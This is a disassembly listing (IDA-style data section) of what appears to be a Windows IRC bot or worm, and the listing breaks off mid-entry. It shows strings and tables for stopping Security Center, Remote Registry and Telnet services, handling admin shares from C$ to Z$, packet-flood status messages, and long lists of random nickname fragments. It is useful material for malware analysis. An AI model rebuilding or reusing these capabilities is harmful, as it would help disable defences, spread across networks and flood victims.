... dword_44DF8C dd 54535953h ; sub_42184C+14Er aEmCurrentcontr db 'EM\CurrentControlSet\Control\Lsa',0 align 4 dd 35h dup(0) db 3 dup(0) dword_44E08B dd 74736572h ; sub_42184C:loc_421992r aRictanonymous db 'rictanonymous',0 align 10h dd 3Bh dup(0) dword_44E18C dd 4 dword_44E190 dd 1 ; sub_42184C+7Cr ... dword_44E194 dd 0 ; sub_42184C:loc_4218D0r ... dword_44E198 dd 0 ; sub_42184C+18Br ... dd 3Eh dup(0) db 3 dup(0) dword_44E297 dd 0 ; sub_42184C+193r ... align 4 dd 3Fh dup(0) dd 80000002h, 54464F53h, 45524157h, 6C6F505Ch, 65696369h dd 694D5C73h, 736F7263h, 5C74666Fh, 646E6957h, 5C73776Fh dd 646E6957h, 5573776Fh, 74616470h, 65h, 32h dup(0) dd 44000000h, 746F4E6Fh, 6F6C6C41h, 53505877h, 3250h, 3Ch dup(0) dd 4, 1, 81h dup(0) dd 80000002h, 74666F53h, 65726177h, 63694D5Ch, 6F736F72h dd 4F5C7466h, 454Ch, 39h dup(0) dd 45000000h, 6C62616Eh, 4F434465h, 4Dh, 3Dh dup(0) dd 1, 2 dup(0) dd 4Eh, 3Eh dup(0) dd 59000000h, 40h dup(0) off_44EBB8 dd offset off_44EF58 ; DATA XREF: sub_421B16+85r ; sub_421B16:loc_421BD3r ... dword_44EBBC dd 0 dd offset off_44EF48 align 8 dd offset off_44EF38 align 10h dd offset aC_1 ; "C$" dd offset aC_2 ; "C:\\" dd offset aD_1 ; "D$" dd offset aD_2 ; "D:\\" dd offset aE_2 ; "E$" dd offset aE_3 ; "E:\\" dd offset aF_0 ; "F$" dd offset aF_1 ; "F:\\" dd offset aG_0 ; "G$" dd offset aG_1 ; "G:\\" dd offset asc_44EEE0 ; "H$" dd offset asc_44EED8 ; "H:\\" dd offset aI_2 ; "I$" dd offset aI_3 ; "I:\\" dd offset aJ_0 ; "J$" dd offset aJ_1 ; "J:\\" dd offset aJ_0 ; "J$" dd offset aJ_1 ; "J:\\" dd offset aK_1 ; "K$" dd offset aK_2 ; "K:\\" dd offset asc_44EEA0 ; "L$" dd offset asc_44EE98 ; "L:\\" dd offset aM_5 ; "M$" dd offset aM_6 ; "M:\\" dd offset aN_1 ; "N$" dd offset aN_2 ; "N:\\" dd offset aO_0 ; "O$" dd offset aO_1 ; "O:\\" dd offset aP_4 ; "P$" dd offset aP_5 ; "P:\\" dd offset aQ_1 ; "Q$" dd offset aQ_2 ; "Q:\\" dd offset aR_0 ; "R$" dd offset aR_1 ; "R:\\" dd offset aS_9 ; "S$" dd offset aS_8 ; "S:\\" dd offset aT_0 ; "T$" dd offset aT_1 ; "T:\\" dd offset aU_2 ; "U$" dd offset aU_1 ; "U:\\" dd offset aV_0 ; "V$" dd offset aV_1 ; "V:\\" dd offset aW_0 ; "W$" dd offset aW_1 ; "W:\\" dd offset asc_44EDE0 ; "X$" dd offset asc_44EDD8 ; "X:\\" dd offset aY_1 ; "Y$" dd offset aY_2 ; "Y:\\" dd offset aZ_2 ; "Z$" dd offset aZ_3 ; "Z:\\" dd offset off_44EF38 dd offset off_44EDA4 dd offset off_44EF48 dd offset off_44ED94 dd offset off_44EF58 dd offset off_44ED88 dd offset off_44EF58 dd offset off_44ED7C dd offset off_44EF58 dd offset off_44ED68 dd offset off_44EF58 dd offset aWkssvc ; "wkssvc\\" dd offset off_44EF58 dd offset aSrvsvc ; "srvsvc\\" dd offset off_44ED34 dd offset off_44ED20 dd offset off_44EF58 dd offset aTsclient ; "tsclient\\" dd offset off_44EF58 dd offset aTsweb ; "tsweb\\" dd offset off_44EF58 dd offset off_44ECF0 off_44ECF0 dd offset dword_50004C ; DATA XREF: .text:0044ECECo dd offset dword_520054 dd 5Ch aTsweb: ; DATA XREF: .text:0044ECE4o unicode 0, <tsweb\>,0 align 4 aTsclient: ; DATA XREF: .text:0044ECDCo unicode 0, <tsclient\>,0 off_44ED20 dd offset word_65006E ; DATA XREF: .text:0044ECD4o aTlogon: unicode 0, <tlogon\>,0 off_44ED34 dd offset off_45004E ; DATA XREF: .text:0044ECD0o dd offset dword_4C0054 dd offset byte_47004F dd offset byte_4E004F dd 24h aSrvsvc: ; DATA XREF: .text:0044ECCCo unicode 0, <srvsvc\>,0 aWkssvc: ; DATA XREF: .text:0044ECC4o unicode 0, <wkssvc\>,0 off_44ED68 dd offset word_520042 ; DATA XREF: .text:0044ECBCo dd offset byte_57004F dd offset byte_450053 dd offset word_5C0052 dd 0 off_44ED7C dd offset dword_490050 ; DATA XREF: .text:0044ECB4o dd offset off_45004E+2 dd 5Ch off_44ED88 dd offset byte_500049 ; DATA XREF: .text:0044ECACo dd offset byte_5C0043 dd 0 off_44ED94 dd offset aRy6iq0udbphLlD+0Dh ; DATA XREF: .text:0044ECA4o dd offset byte_49004D dd offset word_5C004E dd 0 off_44EDA4 dd offset dword_520050 ; DATA XREF: .text:0044EC9Co dd offset byte_4E0049 dd offset dword_450054 dd offset word_5C0052 align 8 aZ_3: ; DATA XREF: .text:0044EC94o unicode 0, <Z:\>,0 aZ_2: ; DATA XREF: .text:0044EC90o unicode 0, <Z$>,0 align 4 aY_2: ; DATA XREF: .text:0044EC8Co unicode 0, <Y:\>,0 aY_1: ; DATA XREF: .text:0044EC88o unicode 0, <Y$>,0 align 4 asc_44EDD8: ; DATA XREF: .text:0044EC84o unicode 0, <X:\>,0 asc_44EDE0: ; DATA XREF: .text:0044EC80o unicode 0, <X$>,0 align 4 aW_1: ; DATA XREF: .text:0044EC7Co unicode 0, <W:\>,0 aW_0: ; DATA XREF: .text:0044EC78o unicode 0, <W$>,0 align 4 aV_1: ; DATA XREF: .text:0044EC74o unicode 0, <V:\>,0 aV_0: ; DATA XREF: .text:0044EC70o unicode 0, <V$>,0 align 4 aU_1: ; DATA XREF: .text:0044EC6Co unicode 0, <U:\>,0 aU_2: ; DATA XREF: .text:0044EC68o unicode 0, <U$>,0 align 4 aT_1: ; DATA XREF: .text:0044EC64o unicode 0, <T:\>,0 aT_0: ; DATA XREF: .text:0044EC60o unicode 0, <T$>,0 align 4 aS_8: ; DATA XREF: .text:0044EC5Co unicode 0, <S:\>,0 aS_9: ; DATA XREF: .text:0044EC58o unicode 0, <S$>,0 align 4 aR_1: ; DATA XREF: .text:0044EC54o unicode 0, <R:\>,0 aR_0: ; DATA XREF: .text:0044EC50o unicode 0, <R$>,0 align 4 aQ_2: ; DATA XREF: .text:0044EC4Co unicode 0, <Q:\>,0 aQ_1: ; DATA XREF: .text:0044EC48o unicode 0, <Q$>,0 align 4 aP_5: ; DATA XREF: .text:0044EC44o unicode 0, <P:\>,0 aP_4: ; DATA XREF: .text:0044EC40o unicode 0, <P$>,0 align 4 aO_1: ; DATA XREF: .text:0044EC3Co unicode 0, <O:\>,0 aO_0: ; DATA XREF: .text:0044EC38o unicode 0, <O$>,0 align 4 aN_2: ; DATA XREF: .text:0044EC34o unicode 0, <N:\>,0 aN_1: ; DATA XREF: .text:0044EC30o unicode 0, <N$>,0 align 4 aM_6: ; DATA XREF: .text:0044EC2Co unicode 0, <M:\>,0 aM_5: ; DATA XREF: .text:0044EC28o unicode 0, <M$>,0 align 4 asc_44EE98: ; DATA XREF: .text:0044EC24o unicode 0, <L:\>,0 asc_44EEA0: ; DATA XREF: .text:0044EC20o unicode 0, <L$>,0 align 4 aK_2: ; DATA XREF: .text:0044EC1Co unicode 0, <K:\>,0 aK_1: ; DATA XREF: .text:0044EC18o unicode 0, <K$>,0 align 4 aJ_1: ; DATA XREF: .text:0044EC0Co ; .text:0044EC14o unicode 0, <J:\>,0 aJ_0: ; DATA XREF: .text:0044EC08o ; .text:0044EC10o unicode 0, <J$>,0 align 4 aI_3: ; DATA XREF: .text:0044EC04o unicode 0, <I:\>,0 aI_2: ; DATA XREF: .text:0044EC00o unicode 0, <I$>,0 align 4 asc_44EED8: ; DATA XREF: .text:0044EBFCo unicode 0, <H:\>,0 asc_44EEE0: ; DATA XREF: .text:0044EBF8o unicode 0, <H$>,0 align 4 aG_1: ; DATA XREF: .text:0044EBF4o unicode 0, <G:\>,0 aG_0: ; DATA XREF: .text:0044EBF0o unicode 0, <G$>,0 align 4 aF_1: ; DATA XREF: .text:0044EBECo unicode 0, <F:\>,0 aF_0: ; DATA XREF: .text:0044EBE8o unicode 0, <F$>,0 align 4 aE_3: ; DATA XREF: .text:0044EBE4o unicode 0, <E:\>,0 aE_2: ; DATA XREF: .text:0044EBE0o unicode 0, <E$>,0 align 4 aD_2: ; DATA XREF: .text:0044EBDCo unicode 0, <D:\>,0 aD_1: ; DATA XREF: .text:0044EBD8o unicode 0, <D$>,0 align 4 aC_2: ; DATA XREF: .text:0044EBD4o unicode 0, <C:\>,0 aC_1: ; DATA XREF: .text:0044EBD0o unicode 0, <C$>,0 align 4 off_44EF38 dd offset dword_520050 ; DATA XREF: .text:0044EBC8o ; .text:0044EC98o dd offset byte_4E0049 aT_2: unicode 0, <T$>,0 align 4 off_44EF48 dd offset aRy6iq0udbphLlD+0Dh ; DATA XREF: .text:0044EBC0o ; .text:0044ECA0o dd offset byte_49004D aN_3: unicode 0, <N$>,0 align 4 off_44EF58 dd offset byte_500049 ; DATA XREF: .text:off_44EBB8o ; .text:0044ECA8o ... aC_3: unicode 0, <C$>,0 align 4 aSecurityCenter db 'Security Center',0 ; DATA XREF: .text:0044DF84o aRemoteRegistry db 'Remote Registry',0 ; DATA XREF: .text:0044DF7Co aTelnet db 'Telnet',0 ; DATA XREF: .text:off_44DF78o align 4 aWscsvc db 'wscsvc',0 ; DATA XREF: .text:0044DF74o align 4 aMessenger db 'Messenger',0 ; DATA XREF: .text:0044DF70o ; .text:0044DF80o align 10h aRemoteregistry db 'RemoteRegistry',0 ; DATA XREF: .text:0044DF6Co align 10h aTlntsvr db 'Tlntsvr',0 ; DATA XREF: .text:off_44DF68o aSRegistryS_2d_ db '%s Registry %s, (%.2d/%.2d)',0 ; DATA XREF: sub_42184C+2AEo aSFailedToSRegi db '%s Failed to %s Registry, (%.2d/%.2d)',0 ; DATA XREF: sub_42184C+275o align 4 aSecured db 'Secured',0 ; DATA XREF: sub_42184C+25Eo aSFailedToSet_0 db '%s Failed to set "%s\%s\%s" to "%s".',0 ; DATA XREF: sub_42184C+21Do align 4 aSSetSSSToS_ db '%s Set "%s\%s\%s" to "%s".',0 ; DATA XREF: sub_42184C+1C4o align 4 aSFailedToSetSS db '%s Failed to set "%s\%s\%s" to "%d".',0 ; DATA XREF: sub_42184C+11Fo align 10h aSSetSSSToD_ db '%s Set "%s\%s\%s" to "%d".',0 ; DATA XREF: sub_42184C+B5o align 4 aSTotalShares_0 db '%s Total shares [%s: %d]',0 ; DATA XREF: sub_421B16+365o align 4 aTotalSharesS_0 db ' Total shares [%s: %d]',0 ; DATA XREF: sub_421B16+343o align 10h aSNoSharesS_ db '%s No shares %s.',0 ; DATA XREF: sub_421B16:loc_421E40o align 4 aUnloading db 'Unloading',0 ; DATA XREF: sub_421B16+289o align 10h aCreated db 'created',0 ; DATA XREF: sub_421B16+23Eo aSTotalSharesSD db '%s Total shares %s: [%d]',0 ; DATA XREF: sub_421B16+231o align 4 aTotalSharesSD db ' Total shares: [%s: %d]',0 ; DATA XREF: sub_421B16+1CFo off_44F11C dd offset dword_532520 ; DATA XREF: sub_421B16+C9o ; sub_421B16+157o ... dword_44F120 dd 2Ch ; sub_421B16+142o ... dword_44F124 dd 53207325h, 65726168h, 73252073h, 3Ah ; sub_421B16+256o aErased db 'erased',0 ; DATA XREF: sub_421B16+34o ; sub_421B16:loc_421CCEo ... align 4 aSTotalServices db '%s Total services stopped: %d',0 ; DATA XREF: sub_421E93+15Eo align 4 aSNoServicesSto db '%s No services stopped.',0 ; DATA XREF: sub_421E93+136o aSTheSServiceWa db '%s The %s service was not started.',0 ; DATA XREF: sub_421E93+F0o align 4 aSSServiceStopp db '%s %s service stopped.',0 ; DATA XREF: sub_421E93+B2o align 10h aSTheSServiceDo db '%s The %s service does not exist.',0 ; DATA XREF: sub_421E93+75o align 4 aSystemShutting db 'System shutting down.',0 ; DATA XREF: sub_422009+E8o align 4 aS_4 db '"%s"',0 ; DATA XREF: sub_4221E4+14o align 4 aSErrorD db '%s Error: %d',0 ; DATA XREF: sub_4225E4+2EBo align 4 aSCanTSyn_Error db '%s Can',27h,'t Syn. Error: %d',0 ; DATA XREF: sub_4225E4+95o ; sub_4225E4+D9o ... aSS@IkbS db '%s %s @ (%iKB/s)',0 ; DATA XREF: sub_4229B7+60o align 10h aSCanTUseRawOpt db '%s Can',27h,'t use raw opt: %d',0 ; DATA XREF: sub_422B50+120o align 10h aSErrorSendingP db '%s Error sending packets to IP: %s. Packets sent: %d. Error: <%d>' ; DATA XREF: sub_422E10+611o db '.',0 align 4 aSSWithSToIpS_S db '%s %s with %s to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB).',0 ; DATA XREF: sub_422E10+589o align 4 aSInvalidTarget db '%s Invalid target IP.',0 ; DATA XREF: sub_422E10+1D4o align 4 aSSD__0 db '%s %s <%d>.',0 ; DATA XREF: sub_422E10+8Bo ; sub_422E10+138o aSSS_3 db '%s (%s) %s',0 ; DATA XREF: sub_423654+81o align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_423719+61o align 4 aSThreadsList db '%s Threads List:',0 ; DATA XREF: sub_423719+37o align 10h off_44F320 dd offset aQ ; DATA XREF: sub_426761+69r ; "q" dd offset dword_450064 dd offset aE_0 ; "e" dd offset word_43EF70 dd offset dword_450060 dd offset aY ; "y" dd offset dword_45005C dd offset dword_450058 dd offset dword_450054 dd offset dword_43DAAC dd offset aS_2 ; "s" dd offset off_45004E+2 dd offset aF_3 ; "f" dd offset aG_3 ; "g" dd offset asc_450044 ; "h" dd offset aJ_3 ; "j" dd offset aK_4 ; "k" dd offset asc_450038 ; "l" dd offset aZ_5 ; "z" dd offset dword_43AB88 dd offset word_43EF74 dd offset aV_3 ; "v" dd offset aB_2 ; "b" dd offset aN_5 ; "n" dd offset aM_7 ; "m" dd offset aQ_3 ; "Q" dd offset aW_2 ; "W" dd offset aE_4 ; "E" dd offset aR_2 ; "R" dd offset aT_3 ; "T" dd offset aY_3 ; "Y" dd offset aU_3 ; "U" dd offset aI_4 ; "I" dd offset aO_3 ; "O" dd offset aP ; "P" dd offset aA_1 ; "A" dd offset aS_10 ; "S" dd offset aD_3 ; "D" dd offset aF_2 ; "F" dd offset aG_2 ; "G" dd offset asc_44FFE8 ; "H" dd offset aJ_2 ; "J" dd offset aK_3 ; "K" dd offset asc_44FFDC ; "L" dd offset aZ_4 ; "Z" dd offset asc_43D940 ; "X" dd offset aC_4 ; "C" dd offset aV_2 ; "V" dd offset aB_1 ; "B" dd offset aN_4 ; "N" dd offset aM ; "M" dd offset aSm4rt3 ; "SM4RT3" dd offset aFar0oq ; "far0oq" dd offset aMax1xguy ; "max1xguy" dd offset aB0bm4rl3y ; "B0BM4RL3Y" dd offset aEmilya ; "emilya" dd offset aEmilyia ; "Emilyia" dd offset aKr1zha ; "KR1ZHA" dd offset aC4r1nna ; "C4r1nna" dd offset aSw1n ; "sw1n" dd offset aM4le ; "m4le" dd offset aKok00 ; "kok00" dd offset aFl3xxxt3r ; "fl3xxxt3r" dd offset aK3nnn ; "k3nnn" dd offset aXc4libr3 ; "xc4libr3" dd offset aXtcXcal ; "xTc-xCaL" dd offset aPwntuuuu ; "pwntuuuu" dd offset aShezzza ; "Shezzza" dd offset aTalika ; "Talika" dd offset aM4rcy ; "m4rcy" dd offset aSeiny ; "seiny" dd offset aSe1nf3ld ; "se1nf3ld" dd offset aCmecme ; "cmecme" dd offset aHev4l ; "hev4l" dd offset aBunty007 ; "bunty007" dd offset aJann0 ; "jann0" dd offset aR1mpy ; "r1mpy" dd offset aH4xdd ; "h4xdd-" dd offset aNastsha ; "nastsha" dd offset aLisau ; "Lisau" dd offset aTr0ll3r ; "tr0ll3r" dd offset aM4n4e ; "m4n4e" dd offset aK3rm1t ; "k3rm1t" dd offset aPur3g0ld ; "pur3g0ld" dd offset aC0redumpdd ; "C0reDumpDd" dd offset aIiimra ; "iiimra" dd offset aGirlzx ; "GirLzx" dd offset aCam3l ; "CAM3L-" dd offset aReshma ; "reshma" dd offset aK3ncing ; "K3ncing" dd offset aR45h3r ; "R45H3R" dd offset aC4nsuu ; "c4nsuu" dd offset aKandent ; "kandent" dd offset aErk4nerkali ; "erk4nerkali" dd offset aHexa4a ; "hexa4a" dd offset aBerkkkko ; "berkkkko" dd offset aBenibi ; "BeNiBi" dd offset aIrm4ll ; "irm4Ll" dd offset aMizsund4y ; "mizsund4y" dd offset aTolga38 ; "Tolga38" dd offset aJer1cho ; "JER1CHO" dd offset aM4ry ; "M4RY-" dd offset aAk1n ; "AK1N" dd offset aMel3kk ; "mel3kk" dd offset aTrr3nd ; "trr3nd" dd offset aMERV ; "M-E-R-V" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSud3nur ; "SUD3NUR" dd offset aR0t0r ; "r0t0r-" dd offset aR0t0 ; "r0t0" dd offset aSmokeySn ; "smokey-sn" dd offset aSmok3yS ; "smok3y-s" dd offset aR0t0r ; "r0t0r-" dd offset aRyann ; "ryann" dd offset aNils ; "Nils-" dd offset aDog ; "dog-" dd offset aD_ ; "d_" dd offset a_d ; "_d" dd offset aBl0ndu ; "Bl0ndu" dd offset aAkw1dz ; "AKW1Dz" dd offset aRot0r ; "rot0r" dd offset aBlondu ; "Blondu-" dd offset aXc4l ; "XC4L" dd offset aXtczzz ; "xTczzz" dd offset aDczz ; "dczz" dd offset aAhm3txtc ; "Ahm3tXTC" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiram1t ; "PIRAM1T" dd offset aSamy3li ; "samy3li" dd offset aRetg ; "RETG-" dd offset aBlackp34rl ; "blackp34rl" dd offset aPelinci ; "pelinci" dd offset aAhm3t ; "ahm3t" dd offset aTurkyballs ; "turkyballs" dd offset aAnk32m ; "ank32m" dd offset aAck0111 ; "ACK0111" dd offset aIzm1rm ; "Izm1rm" dd offset aAlb1na ; "alb1na" dd offset aAyla ; "AYLA-" dd offset aAte3e ; "AtE3e" dd offset aAnkh4h ; "ankh4h" dd offset aDonju4nm ; "Donju4nm" dd offset aBog4c3r ; "bog4c3r" dd offset aAlpay3m ; "alpay3m" dd offset aCongu ; "CoNGU" dd offset aDzlim ; "DzliM" dd offset aDevran ; "DeVran" dd offset aArd4k ; "ard4k" dd offset aKeyifli ; "keyifli" dd offset aMuratm_ ; "muratm_" dd offset aHak4n3 ; "hak4n3" dd offset aIrz4l ; "IRZ4L" dd offset aAmth4n ; "AMTH4N" dd offset aEmr3e ; "Emr3e" dd offset aElm4zyok ; "elm4zyok" dd offset aEsm3rkiz ; "Esm3rkiz" dd offset aKeb1kec ; "keb1kec" dd offset aFl0rd ; "FL0RD" dd offset aH0ly1 ; "h0ly1" dd offset aMahinure ; "MAHINURE" dd offset aEllesme ; "Ellesme" dd offset aAkut1 ; "akut1" dd offset aKashmira ; "Kashmira" dd offset aS3vis ; "S3ViS" dd offset aSugaboi ; "SUGABOi" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAd4lim ; "AD4LIM" dd offset aUmut00 ; "umut00" dd offset aAnk32 ; "ANK32" dd offset aDjmace ; "DJMACE" dd offset aAnkart ; "Ankart" dd offset aF3n3r ; "F3N3R" dd offset aH4yr4n ; "h4yr4n" dd offset aAng3lg4l ; "ang3lg4l" dd offset aK4pk ; "k4pk" dd offset aAchill3s ; "Achill3s" dd offset aT3gm3n ; "T3GM3N" dd offset aKot4n ; "kot4n" dd offset aSevdan ; "sevdan" dd offset aErkaaaa ; "ERKAAAA" dd offset aAlcatrazak ; "alcatraZAK" dd offset aA44mmm ; "a44mmm" dd offset aB1rs3n ; "b1rs3n" dd offset aYab4nc ; "yab4nc" dd offset aD3vre ; "d3vre" dd offset aErk3nnn ; "erk3nnn" dd offset aAnkm4a ; "ankM4a" dd offset aAd3m28 ; "Ad3m28" dd offset aMaxs1lla ; "maxs1lla" dd offset aM41st ; "M41ST" dd offset aAd33 ; "Ad33" dd offset aFirt ; "firt" dd offset aAta29111 ; "Ata29111" dd offset aK00oray ; "K00ORAY" dd offset aAkd3nnan ; "akd3nnan" dd offset aLizmirlm ; "Lizmirlm" dd offset aUlaru ; "ularu" dd offset aNe__ ; "NE__" dd offset aPassenger ; "passenger" dd offset aTr0pikal ; "tr0pikal" dd offset aC00l30m ; "c00l30m" dd offset aC3m39 ; "c3m39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN``" dd offset aDallas ; "DALLAS" dd offset aProm3theus ; "prom3theus" dd offset aMaverick ; "MavericK" dd offset aAdammo ; "ADAMMO" dd offset aCumhur ; "cumhur" dd offset aBiatch ; "biatch" dd offset aW4nt3d ; "W4NT3D" dd offset aBaby ; "baby" dd offset aPizza ; "pizza" dd offset aFat ; "fat" dd offset aChild ; "child" dd offset aMoon ; "moon" dd offset aMan ; "man" align 10h off_44F6A0 dd offset aSh3x ; DATA XREF: sub_426761+4Er ; sub_426761+F8r ; "sh3x" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset off_44F9D0 dd offset off_44F9CC dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuf ; "|luf|" dd offset aWikd ; "|wikd" dd offset aSi ; "si}}" dd offset aQ809 ; "Q809" dd offset aDd8A ; "|dd8|a" dd offset aB_2 ; "b" dd offset word_43EF74 dd offset off_45004E+2 dd offset aE_0 ; "e" dd offset aF_3 ; "f" dd offset aG_3 ; "g" dd offset asc_450044 ; "h" dd offset dword_450058 dd offset a__2 ; "_" dd offset aJ_3 ; "j" dd offset aK_4 ; "k" dd offset asc_450038 ; "l" dd offset aM_7 ; "m" dd offset aN_5 ; "n" dd offset aO_2 ; "o" dd offset dword_450054 dd offset aQ ; "q" dd offset aRs ; "rs" dd offset dword_450060 dd offset dword_45005C dd offset aV_3 ; "v" dd offset dword_450064 dd offset dword_43AB88 dd offset aY ; "y" dd offset aZ_5 ; "z" dd offset aHay ; "hay" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aDf ; "df" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTry ; "try" dd offset aTrick ; "trick" dd offset off_44F924 dd offset aZ_5 ; "z" dd offset aG_3 ; "g" dd offset aS_2 ; "s" dd offset aQ ; "q" dd offset aAfk ; "afk" dd offset aAway ; "away" dd offset dword_44F910 dd offset dword_44F908 dd offset off_44F904 dd offset aBbl ; "|bbl" dd offset aW00i3s ; "w00i3s-" dd offset aJunk ; "junk" dd offset off_44F8E8 dd offset aF_2 ; "F" dd offset aM ; "M" dd offset aLuvu ; "LUVU" dd offset off_44F8DC dd offset aAa ; "^AA^" dd offset aB_2 ; "b" dd offset byte_454A54 dd offset aSl33pin ; "Sl33piN" dd offset byte_454A54 dd offset byte_454A54 dd offset aFook ; "|Fook|" dd offset aFree ; "Free" dd offset byte_454A54 dd offset byte_454A54 dd offset asc_43D940 ; "X" dd offset byte_454A54 dd offset off_44F8B8 dd offset aGirl ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset off_44F89C dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0z ; "mof0z" dd offset aMofoz ; "mofoz" dd offset aTotz ; "totz" dd offset aLol0lzz ; "lol0lzz" dd offset aLololz ; "lololz" dd offset dword_44F860 dd offset dword_44F858 dd offset dword_44F850 dd offset dword_44F848 dd offset dword_44F844 dd offset dword_44F840 dd offset dword_44F83C dword_44F83C dd 7536h dword_44F840 dd 7538h dword_44F844 dd 347Ch dword_44F848 dd 756F7934h, 7Dhdword_44F850 dd 7C737534h, 0 dword_44F858 dd 65657266h, 7Chdword_44F860 dd 7C617Ch aLololz db 'lololz',0 ; DATA XREF: .text:0044F81Co align 4 aLol0lzz db 'lol0lzz',0 ; DATA XREF: .text:0044F818o aTotz db 'totz',0 ; DATA XREF: .text:0044F814o align 4 aMofoz db 'mofoz',0 ; DATA XREF: .text:0044F810o align 4 aMof0z db 'mof0z',0 ; DATA XREF: .text:0044F80Co align 4 aMuha db 'muha',0 ; DATA XREF: .text:0044F808o align 4 aYeah db 'yeah',0 ; DATA XREF: .text:0044F804o align 4 off_44F89C dd offset byte_616861 ; DATA XREF: .text:0044F800o aShit db 'shit',0 ; DATA XREF: .text:0044F7FCo align 4 aGurl db 'gurl',0 ; DATA XREF: .text:0044F7F8o align 10h aGirl db 'GIRL',0 ; DATA XREF: .text:0044F7F4o align 4 off_44F8B8 dd offset word_594F42 ; DATA XREF: .text:0044F7F0o aFree db 'Free',0 ; DATA XREF: .text:0044F7DCo align 4 aFook db '|Fook|',0 ; DATA XREF: .text:0044F7D8o align 4 aSl33pin db 'Sl33piN',0 ; DATA XREF: .text:0044F7CCo aAa db '^AA^',0 ; DATA XREF: .text:0044F7C0o align 4 off_44F8DC dd offset byte_646153 ; DATA XREF: .text:0044F7BCo aLuvu db 'LUVU',0 ; DATA XREF: .text:0044F7B8o align 4 off_44F8E8 dd offset byte_5F7C5F ; DATA XREF: .text:0044F7ACo aJunk db 'junk',0 ; DATA XREF: .text:0044F7A8o align 4 aW00i3s db 'w00i3s-',0 ; DATA XREF: .text:0044F7A4o aBbl db '|bbl',0 ; DATA XREF: .text:0044F7A0o align 4 off_44F904 dd offset loc_425240+2 ; DATA XREF: .text:0044F79Co dword_44F908 dd 6B66617Ch, 0 dword_44F910 dd 6177617Ch, 79haAway db 'away',0 ; DATA XREF: .text:0044F790o align 10h aAfk db 'afk',0 ; DATA XREF: .text:0044F78Co off_44F924 dd offset byte_63636D ; DATA XREF: .text:0044F778o aTrick db 'trick',0 ; DATA XREF: .text:0044F774o align 10h aTry db 'try',0 ; DATA XREF: .text:0044F770o aLuvy db 'luvy',0 ; DATA XREF: .text:0044F76Co align 4 aUi db 'ui',0 ; DATA XREF: .text:0044F768o align 10h aDf db 'df',0 ; DATA XREF: .text:0044F764o align 4 aRt db 'rt',0 ; DATA XREF: .text:0044F760o align 4 aGf db 'gf',0 ; DATA XREF: .text:0044F75Co align 4 aTy db 'ty',0 ; DATA XREF: .text:0044F758o align 10h aRg db 'rg',0 ; DATA XREF: .text:0044F754o align 4 aHay db 'hay',0 ; DATA XREF: .text:0044F750o aRs db 'rs',0 ; DATA XREF: .text:0044F730o align 4 aO_2: ; DATA XREF: .text:0044F724o unicode 0, <o>,0 a__2: ; DATA XREF: .text:0044F70Co unicode 0, <_>,0 aDd8A db '|dd8|a',0 ; DATA XREF: .text:0044F6E8o align 4 aQ809 db 'Q809',0 ; DATA XREF: .text:0044F6E4o align 4 aSi db 'si}}',0 ; DATA XREF: .text:0044F6E0o align 4 aWikd db '|wikd',0 ; DATA XREF: .text:0044F6DCo align 4 aLuf db '|luf|',0 ; DATA XREF: .text:0044F6D8o align 4 aGens db '{gens|',0 ; DATA XREF: .text:0044F6D4o align 4 aSex db '{sex}',0 ; DATA XREF: .text:0044F6D0o align 4 aHub db '{hub}',0 ; DATA XREF: .text:0044F6CCo align 4 aLuck db '|luck|',0 ; DATA XREF: .text:0044F6C8o align 4 aSuck db '|suck|',0 ; DATA XREF: .text:0044F6C4o align 4 aTot db '-|tot|',0 ; DATA XREF: .text:0044F6C0o align 4 aWoh db '|woh|',0 ; DATA XREF: .text:0044F6BCo align 4 aTambe db '|tambe|',0 ; DATA XREF: .text:0044F6B8o off_44F9CC dd offset dword_67616C ; DATA XREF: .text:0044F6B4o off_44F9D0 dd offset word_646162 ; DATA XREF: .text:0044F6B0o aTree db 'tree',0 ; DATA XREF: .text:0044F6ACo align 4 aZex db 'zex',0 ; DATA XREF: .text:0044F6A8o aLez db 'lez',0 ; DATA XREF: .text:0044F6A4o aSh3x db 'sh3x',0 ; DATA XREF: .text:off_44F6A0o align 4 aMan db 'man',0 ; DATA XREF: .text:0044F698o aMoon db 'moon',0 ; DATA XREF: .text:0044F694o align 4 aChild db 'child',0 ; DATA XREF: .text:0044F690o align 10h aFat db 'fat',0 ; DATA XREF: .text:0044F68Co aPizza db 'pizza',0 ; DATA XREF: .text:0044F688o align 4 aBaby db 'baby',0 ; DATA XREF: .text:0044F684o align 4 aW4nt3d db 'W4NT3D',0 ; DATA XREF: .text:0044F680o align 4 aBiatch db 'biatch',0 ; DATA XREF: .text:0044F67Co align 4 aCumhur db 'cumhur',0 ; DATA XREF: .text:0044F678o align 4 aAdammo db 'ADAMMO',0 ; DATA XREF: .text:0044F674o align 4 aMaverick db 'MavericK',0 ; DATA XREF: .text:0044F670o align 10h aProm3theus db 'prom3theus',0 ; DATA XREF: .text:0044F66Co align 4 aDallas db 'DALLAS',0 ; DATA XREF: .text:0044F668o align 4 aTeoman db 'TEOMAN``',0 ; DATA XREF: .text:0044F664o align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: .text:0044F660o align 4 aC3m39 db 'c3m39',0 ; DATA XREF: .text:0044F65Co align 10h aC00l30m db 'c00l30m',0 ; DATA XREF: .text:0044F658o aTr0pikal db 'tr0pikal',0 ; DATA XREF: .text:0044F654o align 4 aPassenger db 'passenger',0 ; DATA XREF: .text:0044F650o align 10h aNe__ db 'NE__',0 ; DATA XREF: .text:0044F64Co align 4 aUlaru db 